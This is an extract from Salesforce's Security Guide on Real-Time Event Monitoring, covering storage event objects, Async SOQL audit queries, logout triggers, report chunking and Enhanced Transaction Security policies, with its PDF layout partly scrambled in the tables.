Note: As a beta feature, the UserId filter in ReportEvent is a preview and isn’t part of the “Services” under your master subscription
agreement with Salesforce. Use this feature at your sole discretion, and make your purchase decisions only on the basis of generally
available products and features. Salesforce doesn’t guarantee general availability of this feature within any particular time frame
or at all, and we can discontinue it at any time. This feature is for evaluation purposes only, not for production use. It’s offered as
is and isn’t supported, and Salesforce has no liability for any harm or damage arising out of or in connection with it. All restrictions,
Salesforce reservation of rights, obligations concerning the Services, and terms for related Non-Salesforce Applications and Content
apply equally to your use of this feature.
Async SOQL

255
Salesforce Security Guide Stream and Store Event Data

Async SOQL is a way to run SOQL queries when you must filter on big object fields besides EventDate and EventId. Async SOQL
schedules and runs queries asynchronously in the background, so it can run queries that normally time out with regular SOQL.
With Async SOQL, you can run multiple queries in the background while monitoring their completion status. Set up your queries and
come back a few hours later to a dataset to work with. Async SOQL is the most efficient way to process the large amount of data in a
storage event, especially one that’s a big object. For more information, see Use Async SOQL with Real-Time Event Monitoring and Async
SOQL in the Big Objects Implementation Guide.

Storage Events
Here are the Real-Time Event Monitoring storage events.

Event Object Standard or Use Case Considerations

Big Object?
ApiEvent Big Object Store data about all API activity that Object is available only in Real-Time Event
occurred for particular objects during a fiscal Monitoring. Data is stored for up to six
year. months.

ApiAnomalyEventStore Standard Store data about anomalies in how users Object is available only in Real-Time Event
Object make API calls. Monitoring. Data is stored for up to six
months.

BulkApiResultEventStore Big Object Store large amount of data about Bulk API Object is available only in Real-Time Event
activity that occurred for particular objects Monitoring. Data is stored for up to six
during a fiscal year. months.

CredentialStuffingEventStore Standard Store data about successful user logins Object is available only in Real-Time Event
Object during an identified credential stuffing Monitoring. Data is stored for up to six
attack. Credential stuffing refers to months.
large-scale automated login requests using
stolen user credentials.

IdentityVerificationEvent Big Object Store data about user identity verification Object is available only in Real-Time Event
events in your org. Monitoring. Data is stored for up to 10
years.

IdentityProviderEventStore Big Object Store data about problematic and successful Object is available only in Real-Time Event
authentication requests in the Identity Monitoring. Data is stored for up to six
Provider Event Log. months.

LightningUriEvent Big Object Store data about when entities are created, Object is available only in Real-Time Event
accessed, updated, or deleted in Lightning Monitoring. Data is stored for up to six
Experience. months.

ListViewEvent Big Object Store data about when users interact with Object is available only in Real-Time Event
a list of records, such as contacts, accounts, Monitoring. Data is stored for up to six
or custom objects. months.

LoginAsEvent Big Object Store data about when Salesforce admins Object is available only in Real-Time Event
log in as another user. Monitoring. Data is stored for up to six
months.

256
Salesforce Security Guide Stream and Store Event Data

Event Object Standard or Use Case Considerations

Big Object?
LoginEvent Big Object Store data about how many users tried to Object is generally available outside
log in from an unknown IP address or Real-Time Event Monitoring. Data is stored
location and who was blocked from for up to 10 years.
successfully logging in.

LogoutEvent Big Object Store data about users who logged out Object is available only in Real-Time Event
successfully. Monitoring. Data is stored for up to six
months.

ReportAnomalyEventStore Standard Store data about anomalies in how users Object is available only in Real-Time Event
Object run or export reports. Monitoring. Data is stored for up to six
months.

ReportEvent Big Object Store data about how many times a Object is available only in Real-Time Event
sensitive report was downloaded or viewed Monitoring. Data is stored for up to six
and by whom. months.

SessionHijackingEventStore Standard Store data about when unauthorized users Object is available only in Real-Time Event
Object gain ownership of a Salesforce user’s session Monitoring. Data is stored for up to six
with a stolen session identifier. months.

UriEvent Big Object Store data about when entities are created, Object is available only in Real-Time Event
accessed, updated, or deleted in Salesforce Monitoring. Data is stored for up to six
Classic. months.

Note: In Developer Edition orgs, data for all events is stored for only 1 day.

Use Async SOQL with Real-Time Event Monitoring

Here are some examples of using Async SOQL with real-time events.
Let’s say you’ve created a custom object called Patent__c that contains sensitive patent information. You want to know when users
query this object using any API. Use the following Async SOQL query on the ApiEvent object to determine when Patent__c was last
accessed, who accessed it, and what part of it was accessed. The WHERE clause uses the QueriedEntities field to narrow the
results to just API queries of the Patent__c object.
Example URI

https://yourInstance.salesforce.com/services/data/v48.0/async-queries/

Example POST request body

{
"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username,
UserAgent FROM ApiEvent
WHERE QueriedEntities LIKE '%Patent__c%'",
"targetObject": "ApiTarget__c",
"targetFieldMap": {
"EventDate": "EventDate__c",
"EventIdentifier": "EventIdentifier__c",
"QueriedEntities": "QueriedEntities__c",

257
Salesforce Security Guide Stream and Store Event Data

"SourceIp": "IPAddress__c",
"Username": "User__c",
"UserAgent": "UserAgent__c"
}
}

Example POST response body

{
"jobId" : "08PB00000066JRfMAM",
"message" : "",
"operation" : "INSERT",
"query" : "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username,
UserAgent FROM ApiEvent
WHERE QueriedEntities LIKE &#39;%Patent__c%&#39;",
"status" : "Complete",
"targetExternalIdField" : "",
"targetFieldMap" : {
"EventDate" : "EventDate__c",
"SourceIp" : "IPAddress__c",
"EventIdentifier" : "EventIdentifier__c",
"QueriedEntities" : "QueriedEntities__c",
"Username" : "User__c",
"UserAgent" : "UserAgent__c"
},
"targetObject" : "ApiTarget__c",
"targetValueMap" : { }
}

Note: All number fields returned from a SOQL query of archived objects are in standard notation, not scientific notation, as in the
number fields in the entity history of standard objects.
If you ask this question on a repeated basis for audit purposes, you can automate the query using a cURL script.
curl -H "Content-Type: application/json" -X POST -d
'{"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, UserAgent
FROM ApiEvent WHERE QueriedEntities LIKE '%Patent__c%'",
"targetObject": "ApiTarget__c",
"targetFieldMap": {"EventDate": "EventDate__c","EventIdentifier":
"EventIdentifier__c","QueriedEntities": "QueriedEntities__c","SourceIp":
"IPAddress__c","Username": "User__c","UserAgent": "UserAgent__c"}}'
"https://yourInstance.salesforce.com/services/data/v48.0/async-queries/" -H
"Authorization: Bearer 00D30000000V88A!ARYAQCZOCeABy29c3dNxRVtv433znH15gLWhLOUv7DVu.
uAGFhW9WMtGXCul6q.4xVQymfh4Cjxw4APbazT8bnIfxlRvUjDg"

Another event monitoring use case is to identify all users who accessed a sensitive field, such as Social Security Number or Email. For
example, you can use the following Async SOQL query to determine the users who saw social security numbers.
Example URI

https://yourInstance.salesforce.com/services/data/v48.0/async-queries/

Example POST request body

{
"query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent

258
Salesforce Security Guide Create Logout Event Triggers

WHERE Query LIKE '%SSN__c%'",

"targetObject": "QueryEvents__c",
"targetFieldMap": {
"Query":"QueryString__c",
"Username":"User__c",
"EventDate":"EventDate__c",
"SourceIp" : "IPAddress__c"
}
}

Example POST response body

{
"jobId": "08PB000000001RS",
"message": "",
"query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent
WHERE Query LIKE &#39;%SSN__c%&#39;",
"status": "Complete",
"targetFieldMap": {"Query":"QueryString__c", "Username":"User__c",
"EventDate":"EventDate__c", "SourceIp" : "IPAddress__c"
},
"targetObject": "QueryEvents__c"
}

SEE ALSO:
Big Objects Implementation Guide: Async SOQL

Create Logout Event Triggers

If the LogoutEventStream object is available to your org, you can create Apex triggers that respond
EDITIONS
to security logout events from your org’s UI.
When LogoutEventStream is enabled, Salesforce publishes logout events when users log out from Available in: All Editions
the UI. You can add an Apex trigger to subscribe to those events. You can then implement custom
logic during logout. For example, you can revoke all refresh tokens for a user at logout.
Timeouts don't cause a LogoutEventStream object to be published. An exception is when a user is automatically logged out of the org
after their session times out because the org has the Force logout on session timeout setting enabled. In this case, a logout event is
recorded. However, if users close their browser during a session, regardless of whether the Force logout on session timeout setting
is enabled, a logout event isn't recorded.
1. From Setup, enter Event Manager in the Quick Find box, then select Event Manager.
2. Next to Logout Event, click the dropdown, and select Enable Streaming.
3. Create Apex triggers that subscribe to logout events.

Example: In this example, the subscriber inserts a custom logout event record during logout.

trigger LogoutEventTrigger on LogoutEventStream (after insert) {

LogoutEventStream event = Trigger.new[0];
LogoutEvent__c record = new LogoutEvent__c();
record.EventIdentifier__c = event.EventIdentifier;
record.UserId__c = event.UserId;

259
Salesforce Security Guide How Chunking Works with ReportEvent and ListViewEvent

record.Username__c = event.Username;
record.EventDate__c = event.EventDate;
record.RelatedEventIdentifier__c = event.RelatedEventIdentifier;
record.SessionKey__c = event.SessionKey;
record.LoginKey__c = event.LoginKey;
insert(record);
}

How Chunking Works with ReportEvent and ListViewEvent

Chunking occurs when a report or list view execution returns many records and Salesforce splits
EDITIONS
the returned data into chunks.

Tip: This topic applies to ReportEvent, ReportEventStream, ListViewEvent, and Available in: Salesforce
ListViewEventStream. However, for readability, we refer to just ReportEvent and ListViewEvent. Classic and Lightning
Experience
When Salesforce chunks a ReportEvent or ListViewEvent (and their streaming equivalents), it breaks
it into multiple events in which most field values are repeated. The exceptions are the Records, Available in: Enterprise,
Sequence, and EventIdentifier fields. You view all the data from a chunked result by Unlimited, and Developer
correlating these fields with the ExecutionIdentifier field, which is unique across the Editions
chunks. Requires Salesforce Shield
or Salesforce Event
Important: When a report executes, we provide the first 1000 events with data in the Records Monitoring add-on
field. Use the ReportId field to view the full report. subscriptions.
Let’s describe in more detail the fields of ReportEvent and ListViewEvent (and their storage
equivalents) that you use to link together the chunks.
• Records—A JSON string that represents the report or list view data. If Salesforce has chunked the data into multiple events, each
event’s Records field contains different data.
• Sequence—An incremental sequence number that indicates the order of multiple events that result from chunking, starting with
1. For example, if Salesforce breaks up an event into five chunks, the first chunk’s Sequence field is 1, the second is 2, and so on up
to 5.
• ExecutionIdentifier—A unique identifier for a particular report or list view execution. This identifier differentiates the
report or list execution from other executions. If chunking has occurred, this field value is identical across the chunks, and you can
use it to link the chunks together to provide a complete data picture.
• EventIdentifier—A unique identifier for each event, including chunked events.
To view all the data chunks from a single report or list view execution, use the Sequence, Records, and ExecutionIdentifier
fields in combination.
For example, let’s say a report execution returns 10K rows. Salesforce splits this data into three chunks based on the size of the records,
and then creates three separate ReportEvent events. This table shows an example of the field values in the three events; the fields not
shown in the table (except EventIdentifier) have identical values across the three events.

ExecutionIdentifier Sequence Records

a50a4025-84f2-425d-8af9-2c780869f3b5 1 {"totalSize":3000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

260
Salesforce Security Guide How Chunking Works with ReportEvent and ListViewEvent

ExecutionIdentifier Sequence Records

a50a4025-84f2-425d-8af9-2c780869f3b5 2 {"totalSize":3000,
"rows":[{"datacells":["005B000000fewai"..........]}]}

a50a4025-84f2-425d-8af9-2c780869f3b5 3 {"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

This sample SOQL query returns data similar to the preceding table.
SELECT ExecutionIdentifer, Sequence, Records FROM ReportEvent

How Transaction Security Works With Chunking

If a chunked event triggers a transaction security policy, Salesforce executes the policy on only the first chunk. The PolicyId,
PolicyOutcome, and EvaluationTime field values are repeated in all the chunked events. These tables show different policy
actions and execution outcomes and their resulting events, some of which are chunked.
This event results from a triggered policy that had a block action.

ExecutionIdentifier Sequence Records PolicyId (value PolicyOutcome EvaluationTime

(value shortened shortened for
for readability) readability)
a50a4...9-2c780869f3b5 0 {"totalSize":0, 0NIxx...GA2 Block 30
"rows":[{}]}

These events result from a triggered policy that has a multi-factor authentication (MFA) action. The first three rows show the multi-factor
authentication in process, and the last three rows show the chunked events.

Note: Multi-factor authentication was previously called two-factor authentication. Some MFA-related values reference “TwoFa”.

ExecutionIdentifier Sequence Records PolicyId (value PolicyOutcome EvaluationTime

(value shortened shortened for
for readability) readability)
a50a4...9-2c780869f3b5 0 {"totalSize":0, "rows":[{}]} 0NIxx...GA2 TwoFaInitiated 30

TwoFaInProgress

TwoFaSucceed

43805...e-5914976709c4 2 {"totalSize":3000, 0NIxx...GA2 TwoFaNoAction 24

"rows":[{"datacells":["005B000000fewai"......]}]}

43805...e-5914976709c4 3 {"totalSize":4000, 0NIxx...GA2 TwoFaNoAction 24

"rows":[{"datacells":["005B0000001vURv",.....]}]}

43805...e-5914976709c4 1 {"totalSize":3000, 0NIxx...GA2 TwoFaNoAction 24

"rows":[{"datacells":["005B0000001vURv",.....]}]}

261
Salesforce Security Guide Enhanced Transaction Security

These events result from a policy that has a block action but the event didn't meet the condition criteria. As a result, the PolicyOutcome
field is NoAction.

ExecutionIdentifier Sequence Records PolicyId (value PolicyOutcome EvaluationTime

(value shortened shortened for
for readability) readability)
a50a4...9-2c780869f3b5 1 {"totalSize":3000, 0NIxx...GA2 NoAction 24
"rows":[{"datacells":["005B0000001vURv",.....]}]}

a50a4...9-2c780869f3b5 2 {"totalSize":3000, 0NIxx...GA2 NoAction 24

"rows":[{"datacells":["005B000000fewai"......]}]}

a50a4...9-2c780869f3b5 3 {"totalSize":4000, 0NIxx...GA2 NoAction 24

"rows":[{"datacells":["005B0000001vURv",.....]}]}

These events result from a policy that has a multi-factor authentication action but the policy wasn’t triggered and so the action didn’t
occur. The policy didn’t trigger because the user already had a high assurance session level.

ExecutionIdentifier Sequence Records PolicyId (value PolicyOutcome EvaluationTime

(value shortened shortened for
for readability) readability)
a50a4...9-2c780869f3b5 1 {"totalSize":3000, 0NIxx...GA2 TwoFaNoAction 24
"rows":[{"datacells":["005B0000001vURv",.....]}]}

a50a4...9-2c780869f3b5 2 {"totalSize":3000, 0NIxx...GA2 TwoFaNoAction 24

"rows":[{"datacells":["005B000000fewai"......]}]}

a50a4...9-2c780869f3b5 3 {"totalSize":4000, 0NIxx...GA2 TwoFaNoAction 24

"rows":[{"datacells":["005B0000001vURv",.....]}]}

Enhanced Transaction Security

Enhanced Transaction Security is a framework that intercepts real-time events and applies appropriate
EDITIONS
actions to monitor and control user activity. Each transaction security policy has conditions that
evaluate events and the real-time actions that are triggered after those conditions are met. The Available in: Salesforce
actions are Block, Multi-Factor Authentication, and Notifications. Before you build your policies, Classic and Lightning
understand the available event types, policy conditions, and common use cases. Enhanced Experience
Transaction Security is included in Real-Time Event Monitoring.
Available in: Enterprise,
Unlimited, and Developer
Condition Builder vs. Apex Editions

Condition Builder is a Setup feature that allows you to build policies with clicks, not code. Policies Requires Salesforce Shield
monitor events, which are categories of user activity built on objects in the SOAP, REST, and Bulk or Salesforce Event
APIs. When you build your policy using Condition Builder, you choose which fields on these objects Monitoring add-on
you want to monitor for customer activity. Because your policy’s actions are conditional to the fields subscriptions.
that users interact with, these fields are called conditions. When you create a policy, you choose the
conditions you want your policy to monitor and the action the policy takes when the conditions
are met. The conditions available in Condition Builder are a subset of all the event objects fields and vary based on the objects.

262
Salesforce Security Guide Enhanced Transaction Security

If you create an Apex-based policy, you can use any of the event object’s fields. For example, Records isn’t available as a Condition Builder
condition for the ReportEvent event object. But you can use the ReportEvent.Records field in an Apex class that implements
the TxnSecurity.EventCondition interface. Visit the API Object Reference to view event object fields.

Conditions at a Glance

Event Object Conditions Available in Condition Actions

Builder
ApiEvent API Type, API Version, Application, Client, Block, Notifications
Elapsed Time, Operation, Platform, Queried
Entities, Query, Rows Processed, Session
Level, Source IP, User Agent, User ID,
Username

ApiAnomalyEventStore User, Username, SourceIp, Score, Notifications

QueriedEntities, Operation, RowsProcessed,
UserAgent

BulkApiResultEventStore Query, SessionLevel, SourceIp, UserId, Block, Notifications

Username

CredentialStuffingEventStore AcceptLanguage, LoginUrl, Score, SourceIp, Notifications

UserAgent, UserId, Username

ListViewEvent Application Name, Developer Name, Event Block, Notifications, Multi-Factor

Source, List View ID, Name, Name of Authentication (for UI logins)
Columns, Number of Columns, Order By, Multi-factor authentication is not supported
Owner ID, Queried Entities, Rows Processed, for list views in Lightning pages, so the
Scope, Session Level, Source IP, User ID, action is upgraded to Block.
Username

LoginEvent API Type, API Version, Application, Browser, Block, Notifications, Multi-Factor
Country, Login URL, Platform, Session Level, Authentication (for UI logins)
Source IP, TLS Protocol, User ID, User Type,
Username

ReportAnomalyEventStore Report, Score, SourceIp, UserId, Username Notifications

ReportEvent Dashboard ID, Dashboard Name, Block, Notifications, Multi-Factor

Description, Event Source, Format, Is Authentication (for UI logins)
Scheduled, Name, Name of Columns,
Number of Columns, Operation, Owner ID,
Queried Entities, Report ID, Rows Processed,
Scope, Session Level, Source IP, User ID,
Username

SessionHijackingEventStore CurrentUserAgent, CurrentIp, Notifications

CurrentPlatform, CurrentScreen,
CurrentWindow, PreviousUserAgent,
PreviousIp, PreviousPlatform,

263
Salesforce Security Guide Enhanced Transaction Security

Event Object Conditions Available in Condition Actions

Builder
PreviousScreen, PreviousWindow, Score,
SourceIp, UserId, Username

IN THIS SECTION:
Types of Enhanced Transaction Security Policies
You can create transaction security policies on these Real-Time Event Monitoring events.
Enhanced Transaction Security Actions and Notifications
When a real-time event triggers a transaction security policy, you can block a user or enforce multi-factor authentication (MFA). You
can also optionally receive in-app or email notifications of the event.
Build a Transaction Security Policy with Condition Builder
Create a transaction security policy without writing a line of code. Condition Builder, available in Real-Time Event Monitoring, gives
you a declarative way to create customized security policies to protect your data.
Create an Enhanced Transaction Security Policy That Uses Apex
Use Setup to create an enhanced transaction security policy that uses Apex. You can specify an existing Apex class or create an
empty class that you then code. The Apex class must implement the TxnSecurity.EventCondition interface.
Best Practices for Writing and Maintaining Enhanced Transaction Security Policies
Transaction security policy management isn’t always easy, especially when you have many policies. To make sure that your policies
remain functional, write and maintain them using these best practices. Well-structured and tested policies keep your employees
and customers connected, productive, and secure.
Enhanced Transaction Security Metering
Transaction Security uses resource metering to help prevent malicious or unintentional monopolization of shared, multi-tenant
platform resources. Metering prevents transaction security policy evaluations from using too many resources and adversely affecting
your Salesforce org.
Test and Troubleshoot Your New Enhanced Policy
If your enhanced transaction security policy is not behaving as you expect, check out these testing and troubleshooting tips for
diagnosing the problem.
Migrate Legacy Policies to the Enhanced Transaction Security Framework
The enhanced transaction security framework makes it easy to create policies that are more useful than policies created with of the
legacy framework. You can migrate your legacy policies to the new framework. As of Summer ’20, Legacy Transaction Security is a
retired feature in all Salesforce orgs. You can no longer create, edit, or enable transaction security policies using the legacy framework
and will receive an error message if you try to do so.

264
Salesforce Security Guide Enhanced Transaction Security

Types of Enhanced Transaction Security Policies

You can create transaction security policies on these Real-Time Event Monitoring events.
EDITIONS

IN THIS SECTION: Available in: Salesforce

Classic and Lightning
ApiEvent Policies
Experience
API events monitor API transactions, such as SOQL queries and data exports.
Available in: Enterprise,
ApiAnomalyEventStore Policies
Unlimited, and Developer
API anomaly event policies monitor anomalies in how users make API calls. Editions
BulkApiResultEventStore Policies Requires Salesforce Shield
Bulk API Result Event policies detect when a user downloads the results of a Bulk API request. or Salesforce Event
CredentialStuffingEventStore Policies Monitoring add-on
subscriptions.
Credential stuffing event policies monitor when a user successfully logs into Salesforce during
an identified credential stuffing attack. Credential stuffing refers to large-scale automated login
requests using stolen user credentials.
ListViewEvent Policies
List View event policies monitor when data is viewed or downloaded from your list views using Salesforce Classic, Lightning Experience,
or the API.
LoginEvent Policies
Login event policies track login activity and enforce your org’s login requirements.
ReportEvent Policies
Report event policies monitor when data is viewed or downloaded from your reports.
ReportAnomalyEventStore Policies
Report anomaly event policies monitor anomalies in how users run or export reports.
SessionHijackingEventStore Policies
Session hijacking event policies monitor when unauthorized users gain ownership of a Salesforce user’s session with a stolen session
identifier.

ApiEvent Policies
API events monitor API transactions, such as SOQL queries and data exports.
EDITIONS

Policy at a Glance Available in: Salesforce

Classic and Lightning
Object Conditions Actions Considerations Experience
Available in Available in: Enterprise,
Condition Builder Unlimited, and Developer
ApiEvent API Type, API Version, Block, Notifications Multi-factor Editions
Application, Client, authentication is not Requires Salesforce Shield
Elapsed Time, supported. or Salesforce Event
Operation, Platform, Monitoring add-on
Queried Entities, subscriptions.
Query, Rows
Processed, Session

265
Salesforce Security Guide Enhanced Transaction Security

Object Conditions Available in Actions Considerations

Condition Builder
Level, Source IP, User Agent,
User ID, Username

What You Can Do with It

You can monitor user behaviors taken through the API on a granular level. Create a policy that can:
• Block access to particular versions of the API from specific platforms
• Notify you when users run queries that return many rows

Considerations for ApiEvent Policies

• The supported SOAP, REST, and Bulk API calls are query(), query_more(), and query_all(). Transaction Security supports
only query(). API calls made from Visualforce (via an Apex controller) or XMLRPC aren’t supported in ApiEvent and ApiEventStream.
• For Bulk API queries, expect blank values for LoginHistoryId, Client, and UserAgent in ApiEvent. These queries are
asynchronous and executed by a background job.

ApiAnomalyEventStore Policies
API anomaly event policies monitor anomalies in how users make API calls.
EDITIONS

Policy at a Glance Available in: Salesforce

Classic and Lightning
Object Conditions Available in Actions Experience
Condition Builder Available in: Enterprise,
ApiAnomalyEventStore User, Username, SourceIp, Notifications Unlimited, and Developer
Score, QueriedEntities, Editions
Operation, RowsProcessed, Requires Salesforce Shield
UserAgent or Salesforce Event
Monitoring add-on
subscriptions.
What You Can Do with It
Create a policy that can:
• Send you an email when Salesforce detects that a user has made more API calls than usual.
• Generate an in-app notification when Salesforce detects an API anomaly event with a score greater than 0.5.

BulkApiResultEventStore Policies
Bulk API Result Event policies detect when a user downloads the results of a Bulk API request.

266
Salesforce Security Guide Enhanced Transaction Security

Policy at a Glance

Object Conditions Available in Condition Actions

Builder
BulkApiResultEventStore Query, SessionLevel, SourceIp, UserId, Block, Notifications
Username

What You Can Do with It

Create a policy that can:
• Send you an email when Salesforce detects that a user has made an attempt to download the results of a Bulk API request

CredentialStuffingEventStore Policies
Credential stuffing event policies monitor when a user successfully logs into Salesforce during an
EDITIONS
identified credential stuffing attack. Credential stuffing refers to large-scale automated login requests
using stolen user credentials. Available in: Salesforce
Classic and Lightning
Policy at a Glance Experience

Available in: Enterprise,

Object Conditions Available in Actions Unlimited, and Developer
Condition Builder Editions
CredentialStuffingEventStore AcceptLanguage, LoginUrl, Notifications Requires Salesforce Shield
Score, SourceIp, UserAgent, or Salesforce Event
UserId, Username Monitoring add-on
subscriptions.

What You Can Do with It

Create a policy that can:
• Send you an email when Salesforce detects that a user from a specific IP address successfully logged into your org during a credential
stuffing attack.
• Generate an in-app notification when Salesforce detects a login from a specific page, such as login.salesforce.com, during
a credential stuffing attack.

267
Salesforce Security Guide Enhanced Transaction Security

ListViewEvent Policies
List View event policies monitor when data is viewed or downloaded from your list views using
EDITIONS
Salesforce Classic, Lightning Experience, or the API.
Available in: Salesforce
Policy at a Glance Classic and Lightning
Experience
Object Conditions Available in Actions Available in: Enterprise,
Condition Builder Unlimited, and Developer
ListViewEvent Application Name, Developer Block, Notifications, Editions
Name, Event Source, List View Multi-Factor Authentication (for Requires Salesforce Shield
ID, Name, Name of Columns, UI logins) or Salesforce Event
Number of Columns, Order By, Monitoring add-on
Multi-factor authentication is
Owner ID, Queried Entities, subscriptions.
not supported for list views in
Rows Processed, Scope, Session Lightning pages, so the action
Level, Source IP, User ID, is upgraded to Block.
Username

What You Can Do with It

Create a policy that can:
• Block a user who tries to access a list view of sensitive patent data
• Notify you if a user exports more than 5,000 rows from a list view in your org

Note: The values captured by transaction security policies are unique API names that can be retrieved by performing REST API
Describe calls on the object. When creating a ListViewEvent policy, make sure that the values you want the conditions to check
for are unique API names and not display labels. For example, a “Name of Column” condition checks for values that match the
metadata information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the
REST API Developer Guide for more information.

LoginEvent Policies
Login event policies track login activity and enforce your org’s login requirements.
EDITIONS

Policy at a Glance Available in: Salesforce

Classic and Lightning
Object Conditions Actions Considerations Experience
Available in Available in: Enterprise,
Condition Builder Unlimited, and Developer
LoginEvent API Type, API Version, Block, Notifications, Editions
• UI logins with
Application, Browser, Multi-Factor username and Requires Salesforce Shield
Country, Login URL, Authentication (for UI or Salesforce Event
password, SAML
Platform, Session Level, logins) Monitoring add-on
single sign-on
Source IP, TLS Protocol, subscriptions.
logins, and
User ID, User Type, API-based logins
Username (OAuth, REST,

268
Salesforce Security Guide Enhanced Transaction Security

Object Conditions Available in Actions Considerations

Condition Builder
SOAP) are captured.
• Multi-factor authentication
is not supported for
Lightning Login
(passwordless login) users
or for API-based logins. For
API-based logins, the action
is upgraded to Block.
• LoginEvent policies are not
triggered by invalid login
attempts such as incorrect
passwords.

What You Can Do with It

You can target specific login behaviors that reduce performance or pose a security risk. Create a policy that can:
• Block users who log in from certain locations
• Require multi-factor authentication for users logging in from unsupported browsers
• Monitor logins from specific applications
How Does LoginEvent Compare to Login Log Lines and Login History?

Feature LoginEvent (Login Forensics) Login Log Lines Login History

Standard Object or File LoginEvent EventLogFile (Login event type) LoginHistory

Data Duration Until Deleted 6 months 30 days 6 months

Access API API download, Event Monitoring Setup UI, API

Analytics app

Permissions View Login Forensics Events View Event Log Files Manage Users

Extensibility Yes, using the AdditionalInfo No No

field

Availability Included with Event Monitoring Included with Event Monitoring Included with all orgs
add-on or Real-Time Event add-on
Monitoring

269
Salesforce Security Guide Enhanced Transaction Security

ReportEvent Policies
Report event policies monitor when data is viewed or downloaded from your reports.
EDITIONS

Policy at a Glance Available in: Salesforce

Classic and Lightning
Object Conditions Actions Considerations Experience
Available in Available in: Enterprise,
Condition Builder Unlimited, and Developer
ReportEvent Dashboard ID, Block, Notifications, Multi-factor Editions
Dashboard Name, Multi-Factor authentication (MFA) Requires Salesforce Shield
Description, Event Authentication (for UI policies apply to the or Salesforce Event
Source, Format, Is logins) following UI-based Monitoring add-on
Scheduled, Name, report actions: subscriptions.
Name of Columns, • Printable View
Number of Columns,
• Report Export
Operation, Owner ID,
Queried Entities, • Report Run (in
Report ID, Rows Salesforce Classic
Processed, Scope, only)
Session Level, Source Multi-factor
IP, User ID, Username authentication is not
supported for reports
in Lightning pages, so
the action is upgraded
to Block.

What You Can Do with It

Create a policy that can:
• Require multi-factor authentication for all users accessing or downloading reports over a specific size. For maximum coverage, write
a policy that notifies you and blocks access to reports that process more than a certain number of rows.
• Block downloads for specific user IDs, report IDs, and dashboard IDs.

Note: The values captured by transaction security policies are unique API names, which can be retrieved by performing REST API
Describe calls on the object. When creating a ReportEvent policy, make sure that the values you want the conditions to check for
are unique API names, not display labels. For example, a “Name of Column” condition checks for values that match the metadata
information retrieved from a Describe call on the report, not the column headers displayed on the report. Refer to the Salesforce
Report and Dashboard REST API Developer Guide for more information.

270
Salesforce Security Guide Enhanced Transaction Security

ReportAnomalyEventStore Policies
Report anomaly event policies monitor anomalies in how users run or export reports.
EDITIONS

Policy at a Glance Available in: Salesforce

Classic and Lightning
Object Conditions Available in Actions Experience
Condition Builder Available in: Enterprise,
ReportAnomalyEventStore Report, Score, SourceIp, UserId, Notifications Unlimited, and Developer
Username Editions
Requires Salesforce Shield
or Salesforce Event
What You Can Do with It Monitoring add-on
subscriptions.
Create a policy that can:
• Send you an email when Salesforce detects that a user has exported more records than usual
from a report on Leads.
• Generate an in-app notification when Salesforce detects a report anomaly event with a score greater than 90.

SessionHijackingEventStore Policies
Session hijacking event policies monitor when unauthorized users gain ownership of a Salesforce
EDITIONS
user’s session with a stolen session identifier.
Available in: Salesforce
Policy at a Glance Classic and Lightning
Experience
Object Conditions Available in Actions Available in: Enterprise,
Condition Builder Unlimited, and Developer
SessionHijackingEventStore CurrentUserAgent, CurrentIp, Notifications Editions
CurrentPlatform, Requires Salesforce Shield
CurrentScreen, CurrentWindow, or Salesforce Event
PreviousUserAgent, PreviousIp, Monitoring add-on
PreviousPlatform, subscriptions.
PreviousScreen,
PreviousWindow, Score,
SourceIp, UserId, Username

What You Can Do with It

Create a policy that can:
• Generate an in-app notification when Salesforce detects a session hijacking attack on your org with a score greater than 10.
• Send you an email when Salesforce detects a session hijacking attack from a specific IP address.

271
Salesforce Security Guide Enhanced Transaction Security

Enhanced Transaction Security Actions and Notifications

When a real-time event triggers a transaction security policy, you can block a user or enforce
EDITIONS
multi-factor authentication (MFA). You can also optionally receive in-app or email notifications of
the event. Available in: Salesforce
Block Classic and Lightning
Experience
Don’t let the user complete the request. For example, if a ReportEvent policy with a block action
triggers during a report view, the user sees a message explaining the action. You can also customize Available in: Enterprise,
the block message when you create your policy. Each custom message can be up to 1000 characters, Unlimited, and Developer
and you can only customize messages for ApiEvent, ListViewEvent, and ReportEvent policies. Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

Multi-Factor Authentication
Prompt the user to confirm their identity with an additional verification method, such as the Salesforce Authenticator app, when the
log in. In situations where you can’t use multi-factor authentication (for instance, during an API query), this action changes to a block
action.

272
Salesforce Security Guide Enhanced Transaction Security

Email Notifications
Salesforce sends email notifications with subject “Transaction Security Alert”. The body of the message contains the policy that was
triggered and the event or events that triggered it. The times listed indicate when the policy was triggered in the recipient’s locale and
time zone. For example, a policy is triggered at 6:46 PM Eastern Standard Time. The administrator who receives the notification is in the
Pacific Standard Time zone, so the times show as PST. Here’s an example.

Example:
From: Transaction Security <[email protected]>
To: [email protected]
Sent: Wednesday, March 4, 2020, 10:00 AM
Subject: Transaction Security Alert

This is a transaction security policy alert.

Policy:
Restrict Views of the My Confidential Report.

Event(s) responsible for triggering this policy:

ReportEvent associated with user [email protected] at 3/4/2020, 10:00:50 AM PST

In-App Notifications
In-app notifications list the policy that was triggered. Notifications are not available in Classic. Here’s an example.

Example:
Transaction Security Alert:
Policy Restrict Views of the My Confidential Report was triggered.

16 minutes ago

273
Salesforce Security Guide Enhanced Transaction Security

Build a Transaction Security Policy with Condition Builder

Create a transaction security policy without writing a line of code. Condition Builder, available in
EDITIONS
Real-Time Event Monitoring, gives you a declarative way to create customized security policies to
protect your data. Available in: Salesforce
You can create multiple policies for the same type of event, but we recommend that your policies Classic and Lightning
and their actions don't overlap. If multiple policies with the same action for a given event execute Experience
when the event occurs, their order of execution is indeterminate.
Available in: Enterprise,
1. From Setup, in the Quick Find box, enter Transaction Security, and then select Unlimited, and Developer
Transaction Security Policies. Editions
2. Click New, and then select Condition Builder. Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

USER PERMISSIONS

User Permissions Needed

To view and manage
events:
• View Real-Time Event
Monitoring Data
